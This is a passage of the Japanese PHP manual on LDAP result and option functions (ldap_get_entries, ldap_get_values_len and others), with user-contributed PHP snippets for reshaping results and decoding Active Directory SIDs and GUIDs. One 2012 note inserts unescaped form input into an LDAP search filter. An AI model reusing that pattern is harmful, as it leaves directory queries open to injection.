  • 全ての結果エントリを得る

ldap_get_entries

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_entries — 全ての結果エントリを得る

説明

ldap_get_entries ( resource $ldap , resource $result ) : array|false

指定した結果から複数のエントリを読み込み、 その属性および複数の値を読み込みます。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

result

返り値

成功時に完全な結果情報を多次元配列で返します。エラーの場合に false を返します。

配列の構造は次のようになります。 属性インデックスは、小文字に変換されます (属性は大文字小文字を区別しませんが、配列インデックスとして使用する時は別です)。

return_value["count"] = 結果におけるエントリの数
return_value[0] : 最初のエントリの詳細情報を参照します

return_value[i]["dn"] =  結果における i 番目のエントリ DN

return_value[i]["count"] = i 番目のエントリにおける属性の数
return_value[i][j] = 結果における i 番目のエントリにおける j 番目の属性名

return_value[i]["attribute"]["count"] = i 番目のエントリにおける属性に関する値の数
return_value[i]["attribute"][j] = i 番目のエントリにおける j 番目の値

参考

  • ldap_first_entry() - 最初の結果 ID を返す
  • ldap_next_entry() - 次の結果エントリを得る

User Contributed Notes

peter dot mlich at volny dot cz 05-Jun-2020 07:52
public function entriesToArray($entries=array())
    {
    $list  = array();
    for($i=0;$i<$entries['count'];$i++)
        {
        $row = array();
        $dn  = $entries[$i]['dn'];
        unset($entries[$i]['count']);
        unset($entries[$i]['dn']);
        foreach($entries[$i] as $key=>$value)
            {
            if (is_int($key))
                {continue;}
            $list_in_col = array();
            foreach($value as $key2=>$value2)
                {
                if (!is_int($key2))
                    {continue;}
                $list_in_col[] = $value2;
                }
            $row[$key] = $list_in_col;
            }
        $row['dn'] = $dn;
        $list[$i] = $row;
        }
    return $list;
    }

/*
Format ldap entries to better array

array (size=2)
  'count' => int 1
  0 =>
    array (size=14)
      'ou' =>
        array (size=2)
          'count' => int 1
          0 => string '03024' (length=5)
      0 => string 'ou' (length=2)
      'mail' =>
        array (size=2)
          'count' => int 1
          0 => string 'name.surname@myfirm.cz' (length=22)
      1 => string 'mail' (length=4)
      'telephonenumber' =>
        array (size=2)
          'count' => int 1
          0 => string '+420123456781' (length=13)
      2 => string 'telephonenumber' (length=15)
      'personaltitle' =>
        array (size=2)
          'count' => int 1
          0 => string 'Ing.|' (length=4)
      3 => string 'personaltitle' (length=13)
      'sn' =>
        array (size=2)
          'count' => int 1
          0 => string 'MySurname' (length=6)
      4 => string 'sn' (length=2)
      'givenname' =>
        array (size=2)
          'count' => int 1
          0 => string 'MyName' (length=5)
      5 => string 'givenname' (length=9)
      'count' => int 6
      'dn' => string 'cn=mynickid,ou=users,o=mydepartmentid' (length=24)

array (size=1)
  0 =>
    array (size=7)
      'ou' =>
        array (size=1)
          0 => string '03024' (length=5)
      'mail' =>
        array (size=1)
          0 => string 'name.surname@myfirm.cz' (length=22)
      'telephonenumber' =>
        array (size=1)
          0 => string '+420123456781' (length=13)
      'personaltitle' =>
        array (size=1)
          0 => string 'Ing.|' (length=4)
      'sn' =>
        array (size=1)
          0 => string 'MySurname' (length=6)
      'givenname' =>
        array (size=1)
          0 => string 'MyName' (length=5)
      'dn' => string 'cn=mynickid,ou=users,o=mydepartmentid' (length=24)
*/
tomas dot hampl at gmail dot com 26-Jan-2012 10:50
It has been mentioned in the comments below, but the <?php ldap_get_entries($connection,$result) ?> always makes all attributes into lower-case. I found out the hard way that if I'm running an ldap query against the corporate AD and then want to display some results, nothing is actually displayed unless the attribute names area in lower-case.

Example:

<?php
// connect to AD
include('ad_con.php');
// limit attributes we want to look for
$attributes_ad = array("displayName","description","cn","givenName","sn","mail","co","mobile","company","displayName");
// define base
$base ="";

// in my script I search based on e-mail, $email variable is passed from the form
$result = ldap_search($conn, $base, "mail=$email*", $attributes_ad) or die ("Error in search
        query");

// put search results into the array ($conn variable is defined in the included 'ad_con.php')
$info = ldap_get_entries($conn, $result);

//Now, to display the results we want:
 for ($i=0; $i<$info["count"]; $i++)
    {
    // to show the attribute displayName (note the case!)
    echo $info[$i]["displayname"][0]

    }

?>
Sebastien Troiani 29-Jan-2010 05:39
Looks like there is a limit on returned objects - only 1000 items are placed in the array
plonky at gmail dot com 07-Apr-2009 09:09
Hope this could help a bit others to print attribute and values on the same line. This is basic code of course

<?php

$ldap_con = ldap_connect($ldap_server) or die("Could not connect to server. Error is " . ldap_error($ldap_con));
$ldap_bd = ldap_bind($ldap_con, $root_dn, $root_pw) or die("Could not bind to server. Error is " .ldap_error($ldap_con));
$result = ldap_search($ldap_con, $personnel_base, "(uid=*)") or die ("Error in query");

$data = ldap_get_entries($ldap_con, $result);

for ($i=0; $i<=$data["count"];$i++) {
        for ($j=0;$j<=$data[$i]["count"];$j++){
        echo $data[$i][$j].": ".$data[$i][$data[$i][$j]][0]."\n";
        }
}
ldap_close($ldap_con);
?>
chl 11-Mar-2009 08:20
Recursive form of markus' function so it can take directly the result of ldap_get_entries :
<?php
function cleanUpEntry( $entry ) {
  $retEntry = array();
  for ( $i = 0; $i < $entry['count']; $i++ ) {
    if (is_array($entry[$i])) {
      $subtree = $entry[$i];
      //This condition should be superfluous so just take the recursive call
      //adapted to your situation in order to increase perf.
      if ( ! empty($subtree['dn']) and ! isset($retEntry[$subtree['dn']])) {
        $retEntry[$subtree['dn']] = cleanUpEntry($subtree);
      }
      else {
        $retEntry[] = cleanUpEntry($subtree);
      }
    }
    else {
      $attribute = $entry[$i];
      if ( $entry[$attribute]['count'] == 1 ) {
        $retEntry[$attribute] = $entry[$attribute][0];
      } else {
        for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
          $retEntry[$attribute][] = $entry[$attribute][$j];
        }
      }
    }
  }
  return $retEntry;
}
?>

Result is of the form :
array(256) {
  ["uid=doe,ou=People,dc=example,dc=net"]=>
  array(3) {
    ["uid"]=>
    string(4) "doe"
    ["cn"]=>
    string(14) "John Doe"
    ["telephonenumber"]=>
    string(4) "1234"
  }
  ["uid=foo,ou=People,dc=example,dc=net"]=>
  ...
asohn at aircanopy dot net 21-Sep-2007 02:48
Some code I put together. Maybe yall can benefit from it.

<?php
function search_results($info) {
  foreach ($info as $inf) {
    if (is_array($inf)) {
      foreach ($inf as $key => $in) {
        if ((count($inf[$key]) - 1) > 0) {
          if (is_array($in)) {
            unset($inf[$key]["count"]);
          }
          $results[$key] = $inf[$key];
        }
      }
    }
  }
  $results["dn"] = explode(',', $info[0]["dn"]);
  return $results;
}

$user = "asohn";

$ds = ldap_connect("ldap://DOMAIN.net");
if ($ds) {
  $r = ldap_bind($ds);
  $sr = ldap_search($ds, "ou=customers,dc=DOMAIN,dc=net", "uid=".$user);
  $info = ldap_get_entries($ds, $sr);

  echo $info["count"]." Search Result(s) for \"".$user."\"\n";

  $results = search_results($info);
  foreach ($results as $key => $result) {
    echo "  ".$key."\n";
    if (is_array($result)){
      foreach($result as $res){
        echo "    ".$res."\n";
      }
    }
  }
  ldap_close($ds);
}
?>
markus dot schabel at tgm dot ac dot at 21-Feb-2006 12:20
When you like to get the entry from LDAP in the same style as ldap_add(), then you can use the following function to convert this entry.

<?php
/**
 * Take an LDAP and make an associative array from it.
 *
 * This function takes an LDAP entry in the ldap_get_entries() style and
 * converts it to an associative array like ldap_add() needs.
 *
 * @param array $entry is the entry that should be converted.
 *
 * @return array is the converted entry.
 */
function cleanUpEntry( $entry ) {
    $retEntry = array();
    for ( $i = 0; $i < $entry['count']; $i++ ) {
        $attribute = $entry[$i];
        if ( $entry[$attribute]['count'] == 1 ) {
            $retEntry[$attribute] = $entry[$attribute][0];
        } else {
            for ( $j = 0; $j < $entry[$attribute]['count']; $j++ ) {
                $retEntry[$attribute][] = $entry[$attribute][$j];
            }
        }
    }
    return $retEntry;
}
?>
reuben dot helms at gmail dot com 07-Feb-2006 01:13
Helmuts programming example is incorrect.

PHP arrays start from zero, so your first entry is $entry[0] and your last entry is $entry[$entry["count"] - 1].

$entry[$entry["count"]] will never exist, thus his usage of is_null.

Helmuts usage of is_null is not elegant, its just poor understanding of arrays.

Save some confusion and remove Helmuts entry and this one.
Jim Granger <tenor at jimgranger.com> 24-Jun-2005 02:27
Another way of ignoring the last null entry would be to subtract one from the iteration count like this:

for($i = 0; $i < count($result_array) - 1; $i++)
{
     ...
}

Helmut's method is far more elegant on its own but what I do is combine the above with the null test that he suggested. It may seem like overkill, but better safe than sorry.
helmut dot patay at scandio dot de 21-Apr-2004 03:57
If you loop over the entries, like
$entries = ldap_get_entries( $ds, $sr );
watch out!
you have to check with is_null the last entry
because you will get one entry more than the search found,
but the last one will be null
so you are safe if you do:
for ( $i = 0; $i < count( $entries ); $i++ ) {
    if ( is_null( $entries[ $i ] ) ) continue;
    ...
}
Ovidiu Geaboc <ogeaboc at rdanet.com> 13-Nov-2003 07:59
I have found that ldap_get_entries() function doesn't handle binary data correctly.  I had to write my own using ldap_get_values_len().

// will use ldap_get_values_len() instead and build the array
// note: it's similar with the array returned by
// ldap_get_entries() except it has no "count" elements
$i=0;
$entry = ldap_first_entry($this->conn, $this->srchRslt);
do {
     $attributes = ldap_get_attributes($this->conn, $entry);
     for($j=0; $j<$attributes['count']; $j++) {
        $values = ldap_get_values_len($this->conn, $entry,$attributes[$j]);
        $this->rawData[$i][$attributes[$j]] = $values;
     }
     $i++;
    }
while ($entry = ldap_next_entry($this->conn, $entry));
//we're done
return ($this->rawData);
mackstann / mack%at%incise%dot%org 04-Sep-2003 11:50
I find the ["count"] items in these arrays highly annoying, so I made a function to remove them recursively:

function rCountRemover($arr) {
  foreach($arr as $key=>$val) {
    # (int)0 == "count", so we need to use ===
    if($key === "count")
      unset($arr[$key]);
    elseif(is_array($val))
      $arr[$key] = rCountRemover($arr[$key]);
  }
  return $arr;
}
reaper at sci dot fi 18-Jun-2003 06:09
If you're dealing with Active Directory and need to get values like 'lastlogon', 'pwdlastset' or similar, you'll notice that AD gives the values as Windows FILETIME timestamps. That means, the values are 100-nanosecond units passed since 1.1.1600 00:00:00.

 To convert these to unix timestamps which PHP's date functions understand, one easy way would be the following :

function win_filetime_to_timestamp ($filetime) {

  $win_secs = substr($filetime,0,strlen($filetime)-7); // divide by 10 000 000 to get seconds
  $unix_timestamp = ($win_secs - 11644473600); // 1.1.1600 -> 1.1.1970 difference in seconds
  return $unix_timestamp;
}
pmichaud at pobox dot com 09-Feb-2002 06:43
Actually, the fact that ldap_get_entries returns attribute names as lowercase is really annoying, because ldap_get_attributes apparently does not.  This is really annoying, especially when having arrays of attribute names and having to worry about which call was used to retrieve entries from LDAP.
c dot green at its dot uq dot edu dot au 17-Aug-2001 04:25
In response to the first message ldap_get_entries, I think there is some confusion with the dynamic typing of php.

If the result is a string doing $foo[0] will return the first character of the string.

In the case of an array $foo[0] will return the entire first element.

Its not to do with the 'dn' in particular, rather the fact that the dn is a scalar value (ie a string) rather than an array, and the indexing works differently in either case.

For debugging purposes I would recommend using something like :

$value = is_array($foo) ? $foo[0] : $foo;

or

$value = is_array($foo) ? implode($foo, $delimiter) : $foo;
oscara at hinux dot hin dot no 15-May-2001 09:51
Note: ldap_get_entries returns true even if no results are found, like this:

echo $entries=ldap_get_entries(...);

will print Array.

You have to check for number of row in the Array like this:

if($entries["count"]==0) return false;

Hope this helped someone...
john at petbrain dot com 20-Dec-2000 10:24
Just a note: an multidemnsional array is like an array with in an array.... you have myArray[2]-> can refer to something like dc=americas,dc=icm,dc=org

Basically you have more elements that are buried with in one element of the parent array[], myArray[2]

So, thats why you see myArray[1]["dn"][0] ... pulling out the first element in myArray[1] and rollover the first element in it.
cbrent at orix dot com dot au 17-Apr-2000 10:03
Note that ldap_get_entries return an associative array with the attributes in lower case.  So for example the givenName ldap attribute is associated with $ldap[0]["givenname"][0] (for the first given name for the first result) this is a little confusing at first.


指定したオプションの現在の値を得る

  • ≪ ldap_get_entries
  • ldap_get_values_len ≫
  • PHP Manual
  • LDAP 関数
  • 指定したオプションの現在の値を得る

ldap_get_option

(PHP 4 >= 4.0.4, PHP 5, PHP 7, PHP 8)

ldap_get_option — 指定したオプションの現在の値を得る

説明

ldap_get_option ( resource $ldap , int $option , array|string|int &$value = null ) : bool

value を、指定したオプションの値として設定します。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

option

パラメータ option は以下のいずれかとなります。

オプション | 型 | 利用可能になったバージョン
LDAP_OPT_DEREF | int
LDAP_OPT_SIZELIMIT | int
LDAP_OPT_TIMELIMIT | int
LDAP_OPT_NETWORK_TIMEOUT | int
LDAP_OPT_PROTOCOL_VERSION | int
LDAP_OPT_ERROR_NUMBER | int
LDAP_OPT_DIAGNOSTIC_MESSAGE | int
LDAP_OPT_REFERRALS | int
LDAP_OPT_RESTART | int
LDAP_OPT_HOST_NAME | string
LDAP_OPT_ERROR_STRING | string
LDAP_OPT_MATCHED_DN | string
LDAP_OPT_SERVER_CONTROLS | array
LDAP_OPT_CLIENT_CONTROLS | array
LDAP_OPT_X_KEEPALIVE_IDLE | int | 7.1
LDAP_OPT_X_KEEPALIVE_PROBES | int | 7.1
LDAP_OPT_X_KEEPALIVE_INTERVAL | int | 7.1
LDAP_OPT_X_TLS_CACERTDIR | string | 7.1
LDAP_OPT_X_TLS_CACERTFILE | string | 7.1
LDAP_OPT_X_TLS_CERTFILE | string | 7.1
LDAP_OPT_X_TLS_CIPHER_SUITE | string | 7.1
LDAP_OPT_X_TLS_CRLCHECK | int | 7.1
LDAP_OPT_X_TLS_CRL_NONE | int | 7.1
LDAP_OPT_X_TLS_CRL_PEER | int | 7.1
LDAP_OPT_X_TLS_CRL_ALL | int | 7.1
LDAP_OPT_X_TLS_CRLFILE | string | 7.1
LDAP_OPT_X_TLS_DHFILE | string | 7.1
LDAP_OPT_X_TLS_KEYFILE | string | 7.1
LDAP_OPT_X_TLS_PACKAGE | string | 7.1
LDAP_OPT_X_TLS_PROTOCOL_MIN | int | 7.1
LDAP_OPT_X_TLS_RANDOM_FILE | string | 7.1
LDAP_OPT_X_TLS_REQUIRE_CERT | int

value

これが、オプションの値として設定されます。

返り値

成功した場合に true を、失敗した場合に false を返します。

例

例1 プロトコルのバージョンを調べる

<?php
// $ds はディレクトリサーバーへの有効なリンクIDです
if (ldap_get_option($ds, LDAP_OPT_PROTOCOL_VERSION, $version)) {
    echo "使用中のプロトコルのバージョン: $version\n";
} else {
    echo "プロトコルのバージョンを決定することができません\n";
}
?>

注意

注意:

この関数は、OpenLDAP 2.x.x または Netscape Directory SDK x.x を使用した場合にのみ利用可能です。

参考

  • ldap_set_option() - 指定したオプションの値を設定する

User Contributed Notes

Maarten 11-Jan-2020 09:24
PHP 7.1 added support for configuring the LDAP CA/Cert environment directly, rather than relying on the environment variables. I noticed that a lot of people are having trouble getting this to work.

The correct way is:
$ds=ldap_connect("ldap.google.com");
ldap_set_option(NULL, LDAP_OPT_X_TLS_CERTFILE, "/path/file.crt");
ldap_set_option(NULL, LDAP_OPT_X_TLS_KEYFILE, "/path/file.key");
ldap_set_option($ds, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($ds, LDAP_OPT_REFERRALS, 0);
ldap_start_tls($ds);
...
ldap_close($ds);
Anonymous 27-May-2016 01:03
Following on from Jeremy S's example.
Instead of defining LDAP_OPT_DIAGNOSTIC_MESSAGE as 0x32 then using it, you can just use the option already defined as that value :)

LDAP_OPT_ERROR_STRING
Jeremy S 02-Jul-2013 11:37
Here is how to tell if an Active Directory user account expired:

define('LDAP_OPT_DIAGNOSTIC_MESSAGE', 0x0032);

ldap_set_option($conn, LDAP_OPT_PROTOCOL_VERSION, 3);
ldap_set_option($conn, LDAP_OPT_REFERRALS, 0);

$bind = ldap_bind($conn, $user, $pass);

ldap_get_option($conn, LDAP_OPT_DIAGNOSTIC_MESSAGE, $extended_error);

if (!empty($extended_error))
{
    $errno = explode(',', $extended_error)[2];
    $errno = explode(' ', $errno)[2];
    $errno = intval($errno);

    if ($errno == 532)
        $err = 'Unable to login: Password expired.';
}


結果エントリから全てのバイナリ値を得る

  • ≪ ldap_get_option
  • ldap_get_values ≫
  • PHP Manual
  • LDAP 関数
  • 結果エントリから全てのバイナリ値を得る

ldap_get_values_len

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_values_len — 結果エントリから全てのバイナリ値を得る

説明

ldap_get_values_len ( resource $ldap , resource $entry , string $attribute ) : array|false

結果のエントリから、属性のすべての値を読み込みます。

この関数は、文字列データではなくバイナリデータを処理すること以外は、 ldap_get_values() と全く同じです。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

entry

attribute

返り値

成功時に属性の値を配列で返し、エラー時に false を返します。 個々の値は、配列インデックスによりアクセスします。最初のインデックスは、0 です。 値の数は、結果の配列の "count" という要素で知ることができます。

参考

  • ldap_get_values() - 結果エントリから全ての値を得る

User Contributed Notes

m1tk0123123 at abv dot bg 30-Aug-2016 11:52
Hi
Here solution for WINDOWS objectsid:
// LIB .............................
class LDAP_OBJECT_SID {

    public function toString($SID_BINARY) {

        $split = str_split($SID_BINARY, 8);
        $hexArray = array();
        foreach ($split as $key => $byte) {
           $hexArray[$key] = strToUpper(substr('0'.dechex(bindec($byte)), -2));
        }

        $BLOCK_COUNT = hexdec($hexArray[1]);
        $DEC_GROUP['SUB-ID-BLOCKS'] = array();
        for ($i=0; $i<$BLOCK_COUNT; $i++) {
            $offset = 8 + (4 * $i);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i] = array();
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][1] = hexdec($hexArray[$offset+3]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][2] = hexdec($hexArray[$offset+2]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][3] = hexdec($hexArray[$offset+1]);
            $DEC_GROUP['SUB-ID-BLOCKS'][$i][4] = hexdec($hexArray[$offset]);

        }
        $SID = 'S-'.hexdec($hexArray[0]).'-'.$this->byte6ToLong(
            hexdec($hexArray[2]),
            hexdec($hexArray[3]),
            hexdec($hexArray[4]),
            hexdec($hexArray[5]),
            hexdec($hexArray[6]),
            hexdec($hexArray[7])
        );
        foreach ($DEC_GROUP['SUB-ID-BLOCKS'] as $BLOCK) {
            $SID .= '-'.$this->byte4ToLong(
                $BLOCK[1],
                $BLOCK[2],
                $BLOCK[3],
                $BLOCK[4]
            );
        }
        return $SID;

    }

    private function byte6ToLong($b1, $b2, $b3, $b4, $b5, $b6) {
        $byte6ToLong = $b1;
        $byte6ToLong = $byte6ToLong*256 + $b2;
        $byte6ToLong = $byte6ToLong*256 + $b3;
        $byte6ToLong = $byte6ToLong*256 + $b4;
        $byte6ToLong = $byte6ToLong*256 + $b5;
        $byte6ToLong = $byte6ToLong*256 + $b6;
        return $byte6ToLong;
    }

    private function byte4ToLong($b1, $b2, $b3, $b4) {
        $byte4ToLong = $b1;
        $byte4ToLong = $byte4ToLong*256 + $b2;
        $byte4ToLong = $byte4ToLong*256 + $b3;
        $byte4ToLong = $byte4ToLong*256 + $b4;
        return $byte4ToLong;
    }

}

TEST:

$sr=ldap_search($conn, $base_dn, $filter,$fields);
$entry = ldap_first_entry($conn, $sr);
$objectsid_binary = ldap_get_values_len($conn, $entry, "objectsid");

$Obj = new LDAP_OBJECT_SID();
echo $Obj->toString($objectsid_binary[0]);
gizmotronic at gmail dot com 24-Jul-2015 04:30
Revisiting the question of converting a binary objectGUID to a string, there's a simpler method that doesn't involve a lot of string manipulation:

function GUIDtoStr($binary_guid) {
  $unpacked = unpack('Va/v2b/n2c/Nd', $binary_guid);
  return sprintf('%08X-%04X-%04X-%04X-%04X%08X', $unpacked['a'], $unpacked['b1'], $unpacked['b2'], $unpacked['c1'], $unpacked['c2'], $unpacked['d']);
}

You can of course replace "X" with "x" in the sprintf format string if you prefer lower-case hex digits.
ashwini at majestik dot net 09-Apr-2013 10:52
Just a minor update to the note below from "jhgustafsson" regarding the "objectGUID" field...

Going a step further, sometimes its useful to display this GUID as a String, and Microsoft has a support article and script detailing how to convert objectGUID from Hex to String. That article is here: http://support.microsoft.com/default.aspx?scid=kb%3Ben-us%3B325649

Below is a PHP function that does the same thing as Microsoft's VB script, it takes input of objectGUID in binary format and returns it formatted as a string (after converting it to Hex as a middle step). This will return the exact "objectGUID" value that is displayed for any Active Directory object in ADUC.

Example output: 3f79048f-42cd-4c77-8426-835cd9f8a3ad

function GUIDtoStr($binary_guid) {
  $hex_guid = unpack("H*hex", $binary_guid);
  $hex = $hex_guid["hex"];

  $hex1 = substr($hex, -26, 2) . substr($hex, -28, 2) . substr($hex, -30, 2) . substr($hex, -32, 2);
  $hex2 = substr($hex, -22, 2) . substr($hex, -24, 2);
  $hex3 = substr($hex, -18, 2) . substr($hex, -20, 2);
  $hex4 = substr($hex, -16, 4);
  $hex5 = substr($hex, -12, 12);

  $guid_str = $hex1 . "-" . $hex2 . "-" . $hex3 . "-" . $hex4 . "-" . $hex5;

  return $guid_str;
}
Stav 21-Apr-2011 05:38
I had a lot of issues with decoding errors using ldap_get_values_len() and found a of unanswered calls for help on a lot of forums.

The error message is - Warning: ldap_get_values(): Cannot get the value(s) of attribute Decoding error in xxx.php.

It appears that this error seems to cover a multitude sins including simple typos in the attribute name.

After using PHP to list the attributes of a particular record I noticed that the attribute userCertificate wasn't listed simply as userCertificate but userCertificate;binary instead.  I wrote this into my code and all was fixed.

So my code looks as follows.

<?php
        if (!$val = @ldap_get_values_len($con, $entry, "$attribute;binary"))
                die ('Error retrieving value (' . ldap_error($con) . ')');
?>

I hope this saves someone the pain I went through trawling Google for an answer.
jhgustafsson at gmail dot com 02-Jun-2009 03:07
Tried a couple of different ways to do this but this seems to work best:

<?php
$info = ldap_first_entry($ds,$sr);

// get it binary-safe.
$bin_guid = ldap_get_values_len($ds,$info,"objectguid");

// convert to hex, bin2hex failed here for me. Unpack() seems to work though.
$hex_guid = unpack("H*hex", $bin_guid[0]);
?>
alexey_baranov at inbox dot ru 02-Apr-2009 04:26
no more need to use ldap_get_values_len (). ldap_get_attributes() works well now.

<?php
$attrs = ldap_get_attributes($this->cid, $this->re);
$hex_Sid= bin2hex($attrs['objectSid'][0]); //returns 010500000000000515000000c94d7d363d787b17e77b80109d060000
$hex_GUID= bin2hex($attrs['objectGUID'][0]); //returns 710234bbc2abc148ade8c1f9b4567b24
?>
derek dot ethier at gmail dot com 07-Mar-2007 11:25
One more function to add that complements the bin_to_str_guid function I posted below:

// This function will convert a string GUID value into a HEX value to search AD.
function str_to_hex_guid($str_guid) {
    $str_guid = str_replace('-', '', $str_guid);

    $octet_str = substr($str_guid, 6, 2);
    $octet_str .= substr($str_guid, 4, 2);
    $octet_str .= substr($str_guid, 2, 2);
    $octet_str .= substr($str_guid, 0, 2);
    $octet_str .= substr($str_guid, 10, 2);
    $octet_str .= substr($str_guid, 8, 2);
    $octet_str .= substr($str_guid, 14, 2);
    $octet_str .= substr($str_guid, 12, 2);
    $octet_str .= substr($str_guid, 16, strlen($str_guid));

    return $octet_str;
}

If you want to convert the string GUID back to the HEX format (required if you want to search AD based on the GUID string, make sure you escape the HEX string with double backslashes when searching -- ie. \\AE\\0F\\88...).
derek dot ethier at gmail dot com 12-Feb-2007 07:49
To elaborate on rcrow's post, if you want to convert the objectSID value to a usable string (from Active Directory) the following function will do the trick (this was borrowed from another section of the manual, just thought I'd add it here):

// Returns the textual SID
function bin_to_str_sid($binsid) {
    $hex_sid = bin2hex($binsid);
    $rev = hexdec(substr($hex_sid, 0, 2));
    $subcount = hexdec(substr($hex_sid, 2, 2));
    $auth = hexdec(substr($hex_sid, 4, 12));
    $result    = "$rev-$auth";

    for ($x=0;$x < $subcount; $x++) {
        $subauth[$x] =
            hexdec($this->little_endian(substr($hex_sid, 16 + ($x * 8), 8)));
        $result .= "-" . $subauth[$x];
    }

    // Cheat by tacking on the S-
    return 'S-' . $result;
}

// Converts a little-endian hex-number to one, that 'hexdec' can convert
function little_endian($hex) {
    for ($x = strlen($hex) - 2; $x >= 0; $x = $x - 2) {
        $result .= substr($hex, $x, 2);
    }
    return $result;
}

This function is not related to the ldap_get_values_len function but is still helpful if you want to convert the objectGUID binary value to a string format (converted from some vbscript provided by Richard Mueller):

// This function will convert a binary value guid into a valid string.
function bin_to_str_guid($object_guid) {
    $hex_guid = bin2hex($object_guid);
    $hex_guid_to_guid_str = '';
    for($k = 1; $k <= 4; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 8 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 12 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-';
    for($k = 1; $k <= 2; ++$k) {
        $hex_guid_to_guid_str .= substr($hex_guid, 16 - 2 * $k, 2);
    }
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 16, 4);
    $hex_guid_to_guid_str .= '-' . substr($hex_guid, 20);

    return strtoupper($hex_guid_to_guid_str);
}

Here's an example on how to use both:

$filter="samaccountname=".$username;
$fields=array("objectguid","objectsid");

//establish the connection and specify the base_dn first. there are a lot of examples in the manual for this

$sr=ldap_search($this->_conn,$this->_base_dn,$filter,$fields);
$entries = ldap_get_entries($this->_conn, $sr);

if (in_array("objectguid", $fields)) {
    $entries[0]["objectguid"][0]=
        $this->bin_to_str_guid($entries[0]["objectguid"][0]);
}

if (in_array("objectsid", $fields)) {
    $entry = ldap_first_entry($this->_conn, $sr);
    $objectsid_binary = ldap_get_values_len($this->_conn, $entry, "objectsid");
    $entries[0]["objectsid"][0] = $this->bin_to_str_sid($objectsid_binary[0]);
}

Hope this helps someone!
rcrow at NOSPAM dot laptv dot com 29-Apr-2004 05:06
If you are trying to access BINARY DATA, such as ObjectSID within LDAP, you must first get an individual entry, as stated under ldap_get_values() function -- "This call needs a result_entry_identifier, so needs to be preceded by one of the ldap search calls and one of the calls to get an individual entry."

The following code snippet will get the LDAP objectSID for a specific user.

<?php
/* Get the binary objectsid entry                                           */
/* Be sure that you have included the binary field in your ldap_search.    */
$criteria =  "samaccountname=$ldapUser";
$justthese = array("memberOf", "objectsid");

$ldapSearchResult = ldap_search($ldapConnectionResult, $ldapBase, $criteria, $justthese);

if (ldap_count_entries($ldapConnectionResult, $ldapSearchResult)){
     $ldapResults = ldap_get_entries($ldapConnectionResult, $ldapSearchResult);

   $entry = ldap_first_entry($ldapConnectionResult, $ldapSearchResult);
   $ldapBinary = ldap_get_values_len ($ldapConnectionResult, $entry, "objectsid");

/* your code here */

}
?>

You then can use something like bin2hex to put the data in a more usable form.


結果エントリから全ての値を得る

  • ≪ ldap_get_values_len
  • ldap_list ≫
  • PHP Manual
  • LDAP 関数
  • 結果エントリから全ての値を得る

ldap_get_values

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_get_values — 結果エントリから全ての値を得る

説明

ldap_get_values ( resource $ldap , resource $entry , string $attribute ) : array|false

結果内のエントリ属性の、すべての値を読み込みます。

この関数のコールは、entry を必要とします。このため、事前に LDAP の検索用関数のコールと個々の エントリ取得用関数のコールを行っておく必要があります。

アプリケーションでは、("surname" または "mail" のような)特定の属性 を探すためにその属性をコードに埋め込んで置くか、さもなくば、指定した エントリに関して存在する属性を調べるために ldap_get_attributes() をコールする必要があります。

パラメータ

ldap

ldap_connect() が返す LDAP リンク ID。

entry

attribute

返り値

成功した場合、指定した属性に関する値を配列を返します。エラーの場合は false を返します。値の数を調べるには、結果の配列の "count" という要素を確認します。個々の値にアクセスするには、 整数値のインデックスを指定して配列にアクセスします。 最初のインデックスは 0 となります。

LDAP では、ある属性に関して複数のエントリを持つことが可能です。 このため、たとえば一人の人間のディレクトリエントリに多数の 電子メールアドレスがあったとしても、それらをすべて "mail" という属性で管理することができます。

    return_value["count"] = 属性の値の数
    return_value[0] = 属性の最初の値
    return_value[i] = 属性の i 番目の値

例

例1 あるディレクトリエントリの全ての "mail" 属性の一覧を表示する

<?php
// $ds はディレクトリサーバーの有効なリンク ID

// $sr は事前の LDAP 検索コールのどれかから返された有効な検索結果

// $entry はディレクトリエントリを返すコールのどれかから返された有効な
//        エントリ ID

$values = ldap_get_values($ds, $entry, "mail");

echo $values["count"] . " email addresses for this entry.<br />";

for ($i=0; $i < $values["count"]; $i++) {
    echo $values[$i] . "<br />";
}
?>

参考

  • ldap_get_values_len() - 結果エントリから全てのバイナリ値を得る

User Contributed Notes

viper_sb at IGETTOMUCHSPAMhotmail dot com 25-Mar-2003 06:24
Well this took me a while to find the problem, so I'm posting in case someone else runs in to this.

$sr = ldap_search($ds, "cn=me", "(objectclass=*)");
$entry = ldap_first_entry($ds, $sr);
do {
  // do other stuff
  $sr = "something else now";
  $values = ldap_get_values($ds, $entry, "attirib1");
  // do other stuff
} while ($entry = ldap_next_entry($ds, $entry));

If you change the search resource $sr to something else even though it's not used again it will kill the page it'll be a blank page and if you view the code you'll get different things depending on something no idea what.

This kepted happening I had forgotten I had used $sr so I was using it again and it would just not show the page whenever I used ldap_get_values, if this is a feature it would be nice to know. I haven't seen it happen with other functions.
software at inebria dot com 21-Jun-2001 10:34
It wasn't immediately obvious to me that the ldap_get_values function does not work with binary data - only strings.  If you fetch binary data with ldap_get_values you don't get a warning - just some trash.  For binary data you have to use ldap_get_values_len.


単一階層の検索を行う

  • ≪ ldap_get_values
  • ldap_mod_add_ext ≫
  • PHP Manual
  • LDAP 関数
  • 単一階層の検索を行う

ldap_list

(PHP 4, PHP 5, PHP 7, PHP 8)

ldap_list — 単一階層の検索を行う

説明

ldap_list ( resource|array $ldap , array|string $base , array|string $filter , array $attributes = [] , int $attributes_only = 0 , int $sizelimit = -1 , int $timelimit = -1 , int $deref = LDAP_DEREF_NEVER , array|null $controls = null ) : resource|array|false

指定したフィルタ filter を使用し、スコープ LDAP_SCOPE_ONELEVEL でディレクトリを検索します。

